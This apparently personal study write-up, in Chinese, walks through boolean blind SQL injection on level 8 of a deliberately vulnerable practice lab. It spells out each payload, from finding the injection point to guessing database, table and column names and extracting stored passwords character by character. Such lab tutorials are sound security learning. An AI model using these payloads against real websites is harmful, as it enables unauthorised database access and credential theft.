文章目录
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、回顾前几关知识点
通过第五六关的练习,逐渐熟悉了盲注中的报错盲注。让我们看看这一关用什么方法(布尔盲注)。
二、靶场第八关要用到的相关知识
- 1、length()函数
- 2、ascii()函数
- 3、substr()函数
- 4、ascii码大全
1、length()函数
LENGTH() 函数返回字符串的长度(以字节为单位)。
语法:LENGTH(string)
实例:
SELECT LENGTH("SQL Tutorial") AS LengthOfString;
我们通过此函数能判断数据库名、表、列的长度。
2、ascii()函数
ASCII() 函数返回特定字符的 ASCII 值。
语法:ASCII(character)
实例:
返回"CustomerName"中第一个字符的 ASCII 值:
SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;
我们通过此函数与substr函数来判断数据库名、表、列的每一个字符。
3、substr()函数
SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。
语法:SUBSTR(string, start, length)
实例:
从字符串中提取子字符串(从位置5开始,提取3个字符):
SELECT SUBSTR("SQL Tutorial", 5, 3) AS ExtractString;
我们通过此函数与ascii函数来判断数据库名、表、列的每一个字符。
4、ascii码对照表
三、靶场第八关思路
- 1、判断注入点
- 2、爆字段个数
- 3、猜数据库长度
- 4、猜数据库名字
- 5、猜表名长度
- 6、猜表名名字
- 7、猜列名长度
- 8、猜列名名字
- 9、猜数据长度
- 10、猜数据名字
1、判断注入点
(如图所示)老规矩用and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型。直接提交id=1’ 发现页面异常,重点来了,页面异常却没有因为闭合的问题返回报错信息,而是页面什么都没有。那果断用布尔盲注,通过ture和false来猜测数据库相关信息。提交id=1’–+发现页面正常,这就像正常返回ture(正常页面),异常返回false(页面空白页面)。
补充:如果无论注入语句是正确还是错误的,都返回正常页面,那么这个就要用时间盲注,下一关会详细介绍。
2、爆字段个数
注入语句为
id=1' order by 1--+
发现到4的时候页面为false异常空白状态。(如图所示)
3、猜数据库长度
注入语句为
id=1' and (length(database()))>7--+
通过length函数判断数据库名长度,发现当数据库长度大于8的时候页面false状态(如图所示)
可以确定数据库长度为8。
为什么我会一开始判断数据库长度是否大于7呢,先试试大于1行不行?
其实是可以的,就是这样看感觉猜,多猜几次就能缩小查找范围了
4、猜数据库名字
注入语句为
id=1' and ascii(substr(database(),1,1))>114--+
(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。
我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security
5、猜表名长度
注入语句为
id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>5--+
发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5
6、猜表名名字
注入语句为
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116--+
(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
注意:这里为什么我直接查第四个表名了,因为我是知道这个表名才是我们要查的表名,实战如果是手工注入就得一个个表名猜,用工具就不用这么麻烦。
7、猜列名长度
注入语句为
id=1' and (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1--+
(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
8、猜列名名字
注入语句为
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116--+
猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。
9、猜数据长度
注入语句为
id=1' and length((select password from users limit 0,1))>3--+
(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
10、猜数据名字
注入语句为
id=1' and ascii(substr((select password from users limit 0,1),1,1))>67--+
(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
总结
这一关是典型的布尔盲注。判断方法就是看页面是不是无回显,而且当注入语句正常,页面就正常显示。当注入语句错误,页面就是false空白状态。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!